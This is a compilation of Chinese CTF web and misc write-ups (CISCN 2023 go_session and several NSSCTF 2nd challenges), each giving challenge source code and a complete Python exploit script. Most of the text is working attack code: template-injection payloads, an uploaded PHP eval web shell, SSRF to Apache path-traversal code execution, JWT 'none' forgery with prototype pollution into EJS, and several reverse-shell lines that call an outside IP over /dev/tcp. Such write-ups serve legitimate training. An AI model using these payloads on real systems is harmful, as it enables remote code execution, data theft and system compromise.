[CISCN 2023 初赛]go_session https://un1novvn.github.io/2023/05/29/ciscn2023/
https://ctf.njupt.edu.cn/archives/898#go_session
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "github.com/gin-gonic/gin" "main/route" ) func main () { r := gin.Default() r.GET("/" , route.Index) r.GET("/admin" , route.Admin) r.GET("/flask" , route.Flask) r.Run("0.0.0.0:80" ) }
route.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package routeimport ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" ) var store = sessions.NewCookieStore([]byte (os.Getenv("SESSION_KEY" )))func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) } func Admin (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } name := c.DefaultQuery("name" , "ssti" ) xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!" ) if err != nil { panic (err) } out, err := tpl.Execute(pongo2.Context{"c" : c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200 , out) } func Flask (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { if err != nil { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name" , "guest" )) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200 , string (body)) }
1 2 3 4 5 6 7 8 import requestslocalhost_url = 'http://127.0.0.1:8081/' cookie = requests.get(url=localhost_url).cookies['session-name' ] print (cookie)admin_url = 'http://node5.anna.nssctf.cn:28355/admin' response = requests.get(url=admin_url,cookies={'session-name' :cookie}).text print (response)
访问http://node5.anna.nssctf.cn:28355/flask?name=报错,得到源码
http://node5.anna.nssctf.cn:28355/flask?name=?name=123,没有ssti,debug模式,考虑admin路由重写server.py文件
/app/server.py
1 2 3 4 5 6 7 8 9 10 from flask import *app = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] return name + " no ssti" if __name__== "__main__" : app.run(host="0.0.0.0" ,port=5000 ,debug=True )
最终exp
把route.go中的guest改为admin,8081运行起来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import requestsfrom requests_toolbelt import MultipartEncoderfrom urllib.parse import quotebase_url = 'http://node5.anna.nssctf.cn:28141/' admin_url = base_url+'admin' def get_cookie (): localhost_url = 'http://127.0.0.1:8081/' cookie = requests.get(url=localhost_url).cookies['session-name' ] return cookie def admin_test (): response = requests.get(url=admin_url, cookies={'session-name' :get_cookie()}).text print (response) def read_file (filename ): read_payload = '?name={%include c.Request.Referer()%}' headers = { 'Referer' :filename } response = requests.get(url=admin_url+read_payload, cookies={'session-name' :get_cookie()}, headers=headers).text print (response) def write_file (file_data ): read_payload = '?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}' files = { 'filename0' : ('1.txt' ,file_data.encode(),'text/plain' ) } boundary = '--WebKitFormBoundary9K7xUkVGzyQA6e6h' multipart_encoder = MultipartEncoder(fields=files,boundary=boundary) headers = { 'Referer' :'/app/server.py' , 'User-Agent' :'filename0' , 'Content-Type' :multipart_encoder.content_type, } print (headers) response = requests.get(url = admin_url+read_payload, headers = headers, cookies = {'session-name' :get_cookie()}, data = multipart_encoder) print (response.request.headers) print (response.request.body) print (response.text) def execute_command (cmd ): url = base_url + f'flask?name=shell?cmd={quote(quote(cmd))} ' response = requests.get(url=url,cookies={'session-name' :get_cookie()}) print (response.request.url) print (response.text) file_data = ''' from flask import Flask, request import os app = Flask(__name__) #123 @app.route('/shell') def shell(): cmd = request.args.get('cmd') if cmd: return os.popen(cmd).read() else: return 'shell' if __name__== "__main__": app.run(host="127.0.0.1",port=5000,debug=True) ''' execute_command('cd /;ls;cat run.sh;' )
[NSSCTF 2nd]php签到 https://blog.csdn.net/Jayjay___/article/details/132559381
看到第4行,文件名为xxx.xxx/.时,pathinfo函数的PATHINFO_EXTENSION只能得到空。
同时xxx.xxx/.这种文件名在被file_put_contents函数处理时,会解析成xxx.xxx,原理应该是两个点表示上一目录,一个点表示当前目录。本地测得不管是xxx.xxx还是xxx.xxx/.,file_put_contents函数都能成功写入文件到当前目录下的xxx.xxx文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" ); $ext = pathinfo ($filename , PATHINFO_EXTENSION); foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; } if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (waf ($filename )){ file_put_contents ($filename , $content ); } else { echo "Please re-upload" ; } } else { highlight_file (__FILE__ ); }
1 2 3 4 <form action="http://node6.anna.nssctf.cn:28370/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="gogogo!" /> </form>
一个优雅的exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsfrom requests_toolbelt import MultipartEncoderurl = "http://node5.anna.nssctf.cn:28727/" def upload_shell (): shell = '''<?php @eval($_GET[0]); ?> ''' files = { "file" :("sh.php%2F%2E" ,shell.encode(),'text/plain' ) } boundary = '--WebKitFormBoundary9K7xUkVGzyQA6e6h' multipart_encoder = MultipartEncoder(fields=files,boundary=boundary) headers = { "Content-Type" :multipart_encoder.content_type } response = requests.post(url=url,headers=headers,data=multipart_encoder) print (response.request.headers) print (response.request.body) print (response.text) def execute_command (command ): payload = f"sh.php?0=system('{command} ');" response = requests.get(url=url+payload).text print (response) upload_shell() execute_command("cd /;ls;env;" )
[NSSCTF 2nd]MyBox https://blog.csdn.net/Jayjay___/article/details/132559381
一个优雅的exp.py
1 2 3 4 5 6 import requests url = "" payload = "?url=file:///proc/1/environ" response = requests.get(url=url+payload).text print(response)
[NSSCTF 2nd]MyBox2 https://blog.csdn.net/Jayjay___/article/details/132559381
https://blog.csdn.net/Leaf_initial/article/details/132633048?spm=1001.2014.3001.5502
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask, request, redirectimport requests, socket, structfrom urllib import parseapp = Flask(__name__) @app.route('/' ) def index (): if not request.args.get('url' ): return redirect('/?url=dosth' ) url = request.args.get('url' ) if url.startswith('file://' ): if 'proc' in url or 'flag' in url: return 'no!' with open (url[7 :], 'r' ) as f: data = f.read() if url[7 :] == '/app/app.py' : return data if 'NSSCTF' in data: return 'no!' return data elif url.startswith('http://localhost/' ): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:' ): port, content = url[18 :].split('/_' , maxsplit=1 ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5 ) s.connect(('127.0.0.1' , int (port))) s.send(parse.unquote(content).encode()) res = b'' while 1 : data = s.recv(1024 ) if data: res += data else : break return res return '' app.run('0.0.0.0' , 827 )
一个优雅的exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsfrom urllib.parse import quoteurl = "http://node5.anna.nssctf.cn:28135/" def get_resource_code (): payload = "?url=file:///app/app.py" response = requests.get(url=url+payload).text print (response) def get_localhost_code (): payload = "?url=http://localhost/" response = requests.get(url=url+payload).text print (response) def gopher_request (): request_payload = \ """GET /test.php HTTP/1.1 Host: 127.0.0.1:80 """ .replace("\n" ,"\r\n" ) request_payload = quote(quote(request_payload)) payload = "?url=mybox://127.0.0.1:80/_" +request_payload response = requests.get(url=url+payload) print (response.request.url) print (response.text) def gopher_apache_2_4_49_exp (): command = '''bash -c "bash -i >& /dev/tcp/39.105.51.11/7779 0>&1"''' command = "cd /;python3 -m http.server 8082" request_payload = \ f"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: {len (command)} {command} """ .replace("\n" ,"\r\n" ) request_payload = quote(quote(request_payload)) payload = "?url=mybox://127.0.0.1:80/_" + request_payload response = requests.get(url = url+payload) print (response.request.url) print (response.text) def readfile (): request_payload = \ """GET /nevvvvvver_f1nd_m3_the_t3ue_flag HTTP/1.1 Host: 127.0.0.1:8082 """ .replace("\n" ,"\r\n" ) request_payload = quote(quote(request_payload)) payload = "?url=mybox://127.0.0.1:8082/_" +request_payload response = requests.get(url=url+payload) print (response.request.url) print (response.text) gopher_apache_2_4_49_exp()
[NSSCTF 2nd]MyHurricane 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import tornado.ioloopimport tornado.webimport osBASE_DIR = os.path.dirname(__file__) def waf (data ): bl = ['\'' , '"' , '__' , '(' , ')' , 'or' , 'and' , 'not' , '{{' , '}}' ] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord (c) < 128 ): return False return True class IndexHandler (tornado.web.RequestHandler): def get (self ): with open (__file__, 'r' ) as f: self.finish(f.read()) def post (self ): data = self.get_argument("ssti" ) if waf(data): with open ('1.html' , 'w' ) as f: f.write(f"""<html> <head></head> <body style="font-size: 30px;">{data} </body></html> """ ) f.flush() self.render('1.html' ) else : self.finish('no no no' ) if __name__ == "__main__" : app = tornado.web.Application([ (r"/" , IndexHandler), ], compiled_template_cache=False ) app.listen(827 ) tornado.ioloop.IOLoop.current().start()
如果没有过滤,我们的payload:
1 {{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}
有过滤的情况下我们可以使用笔记末尾武器库中的payload(适当进行替换)
boogipop师傅的payload:(&换成%26)
1 POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
这种方法利用了tornado里的变量覆盖,让__tt_utf8为eval,在渲染时时会有__tt_utf8(__tt_tmp)这样的调用,然后让__tt_tmp为恶意字符串就好了。
其实方法二都是这个原理。但是一开始对这个payload中的request.body_arguments[request.method][0]比较疑惑。咱们分开来看,首先是第一部分request.body_arguments表示POST参数,第二部分request.method是当前请求的方法也就是POST,第三部分[0]暂时还没找到解释。那request.body_arguments[request.method][0]的意思就是POST请求中名字为POST的参数,[request.method]实现了不用引号调用传入参数。
tornado解析post数据的问题 - myworldworld - 博客园 (cnblogs.com)
https://www.cnblogs.com/hello-/p/10255342.html
[NSSCTF 2nd]MyJs https://blog.csdn.net/Jayjay___/article/details/132559381
https://leekosss.github.io/2023/08/28/%5BNSSCTF%202nd%5D/#WEB
https://www.secpulse.com/archives/129304.html
https://xz.aliyun.com/t/12754#toc-6
https://www.cnblogs.com/superhin/p/16288059.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 const express = require ('express' );const bodyParser = require ('body-parser' );const lodash = require ('lodash' );const session = require ('express-session' );const randomize = require ('randomatic' );const jwt = require ('jsonwebtoken' )const crypto = require ('crypto' );const fs = require ('fs' );global .secrets = [];express ().use (bodyParser.urlencoded ({extended : true })) .use (bodyParser.json ()) .use ('/static' , express.static ('static' )) .set ('views' , './views' ) .set ('view engine' , 'ejs' ) .use (session ({ name : 'session' , secret : randomize ('a' , 16 ), resave : true , saveUninitialized : true })) .get ('/' , (req, res ) => { if (req.session .data ) { res.redirect ('/home' ); } else { res.redirect ('/login' ) } }) .get ('/source' , (req, res ) => { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync (__filename)); }) .all ('/login' , (req, res ) => { if (req.method == "GET" ) { res.render ('login.ejs' , {msg : null }); } if (req.method == "POST" ) { const {username, password, token} = req.body ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { return res.render ('login.ejs' , {msg : 'login error.' }); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : "HS256" }); if (username === user.username && password === user.password ) { req.session .data = { username : username, count : 0 , } res.redirect ('/home' ); } else { return res.render ('login.ejs' , {msg : 'login error.' }); } } }) .all ('/register' , (req, res ) => { if (req.method == "GET" ) { res.render ('register.ejs' , {msg : null }); } if (req.method == "POST" ) { const {username, password} = req.body ; if (!username || username == 'nss' ) { return res.render ('register.ejs' , {msg : "Username existed." }); } const secret = crypto.randomBytes (16 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret); const token = jwt.sign ({secretid, username, password}, secret, {algorithm : "HS256" }); res.render ('register.ejs' , {msg : "Token: " + token}); } }) .all ('/home' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : null }) }) .post ('/update' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } if (req.session .data .username !== 'nss' ) { return res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : 'U cant change uid' }) } let data = req.session .data || {}; req.session .data = lodash.merge (data, req.body ); console .log (req.session .data .outputFunctionName ); res.redirect ('/home' ); }) .listen (827 , '0.0.0.0' )
jwt.verify(token, secret, {algorithm: "HS256"})
的参数algorithms
错写成了algorithm
,导致出现空加密
JWT问题在于两点:
verify时正确的参数是algorithms而不是algorithm,所以这里本质传了个空加密,导致允许空密钥,我们无须获得JWT密钥(高版本已修改)。
第二个是关于sid的弱比较,如果只是允许空密钥的话我们不知道secret依然无法verify,这里sid如果传个数组 就能轻松绕过判断并且
一个优雅的exp.py
能弹shell用data1
不能弹shell用data1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import jwtimport requestsurl = "http://node5.anna.nssctf.cn:28973/" s = requests.session() def get_token (): headers = { "alg" :"none" , "typ" :"JWT" } token_dict = { "secretid" :[], "username" :"nss" , "password" :"123456" } jwt_token = jwt.encode(token_dict,"" ,algorithm="none" ,headers=headers) print (jwt_token) return jwt_token def register (url ): data = { "username" :"123" , "password" :"123" } url = url + "register" response = s.post(url=url,json=data) def login (url ): username = "nss" password = "123456" token = get_token() data = { "username" :username, "password" :password, "token" :token } url = url + 'login' response = s.post(url=url,json=data) def update (url,command ): data = { "__proto__" :{ "settings" :{ "view options" :{ "escapeFunction" :"this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/7779 <&1\"');" , "client" :"true" } } } } data = { "__proto__" :{ "settings" :{ "view options" :{ "escapeFunction" :f"this.global.process.mainModule.require('child_process').execSync('echo `{command} ` > ./views/login.ejs');" , "client" :"true" } } } } url = url + "update" response = s.post(url=url,json=data) def get_result (url ): url = url + "login" response = s.get(url=url).text print (response) register(url) login(url) update(url,"cd /;ls;env" ) get_result(url)
[NSSCTF 2nd]gift_in_qrcode2 main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import qrcodefrom PIL import Imagefrom random import randrange, getrandbits, seedimport osimport base64flag = os.getenv("FLAG" ) if flag == None : flag = "flag{test}" secret_seed = randrange(1 , 1000 ) seed(secret_seed) reveal = [] for i in range (20 ): reveal.append(str (getrandbits(8 ))) target = getrandbits(8 ) reveal = "," .join(reveal) img_qrcode = qrcode.make(reveal) img_qrcode = img_qrcode.crop((35 , 35 , img_qrcode.size[0 ] - 35 , img_qrcode.size[1 ] - 35 )) offset, delta, rate = 50 , 3 , 5 img_qrcode = img_qrcode.resize( (int (img_qrcode.size[0 ] / rate), int (img_qrcode.size[1 ] / rate)), Image.LANCZOS ) img_out = Image.new("RGB" , img_qrcode.size) for y in range (img_qrcode.size[1 ]): for x in range (img_qrcode.size[0 ]): pixel_qrcode = img_qrcode.getpixel((x, y)) if pixel_qrcode == 255 : img_out.putpixel( (x, y), ( randrange(offset, offset + delta), randrange(offset, offset + delta), randrange(offset, offset + delta), ), ) else : img_out.putpixel( (x, y), ( randrange(offset - delta, offset), randrange(offset - delta, offset), randrange(offset - delta, offset), ), ) img_out.save("qrcode.png" ) with open ("qrcode.png" , "rb" ) as f: data = f.read() print ("This my gift:" )print (base64.b64encode(data).decode(), "\n" )print (target)ans = input ("What's your answer:" ) if ans == str (target): print (flag) else : print ("No no no!" )
一个优雅的exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from PIL import Imagefrom random import seed,getrandbitsfrom pyzbar import pyzbarfrom io import BytesIOimport base64p = remote('node5.anna.nssctf.cn' ,28899 ) p.recvuntil("\n" .encode()) base64data = p.recvline().decode().strip() def get_numbers_from_image (base64data ): img = Image.open (BytesIO(base64.b64decode(base64data))) new_img = Image.new("RGB" ,img.size,(255 ,255 ,255 )) for y in range (img.size[1 ]): for x in range (img.size[0 ]): if img.getpixel((x,y))[0 ] >= 50 : new_img.putpixel((x,y),(255 ,255 ,255 )) else : new_img.putpixel((x,y),(0 ,0 ,0 )) barcode = pyzbar.decode(new_img) data = barcode[0 ].data.decode() numbers = eval (f"[{data} ]" ) print (numbers) return numbers def get_21th_number (base64data ): numbers = get_numbers_from_image(base64data) for secret_seed in range (1 ,1000 ): seed(secret_seed) for _ in range (20 ): if getrandbits(8 )!=numbers[_]: break else : target = getrandbits(8 ) print (target) return target number = get_21th_number(base64data) p.recvuntil(b"What's your answer:" ) p.sendline(str (number).encode()) flag = p.recvline() print (flag.decode())
由于 target 是 1/255 的随机数值,直接以一个固定值碰撞,正确概率为 1/255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *count = 0 while True : conn = remote("node5.anna.nssctf.cn" , 28472 ) conn.recvline().decode() conn.recvline().decode() conn.recv().decode() conn.sendline(str ('110' ).encode()) count += 1 print ('count:' , count) output = conn.recvline().decode() if 'No no no!' not in output: print (output) break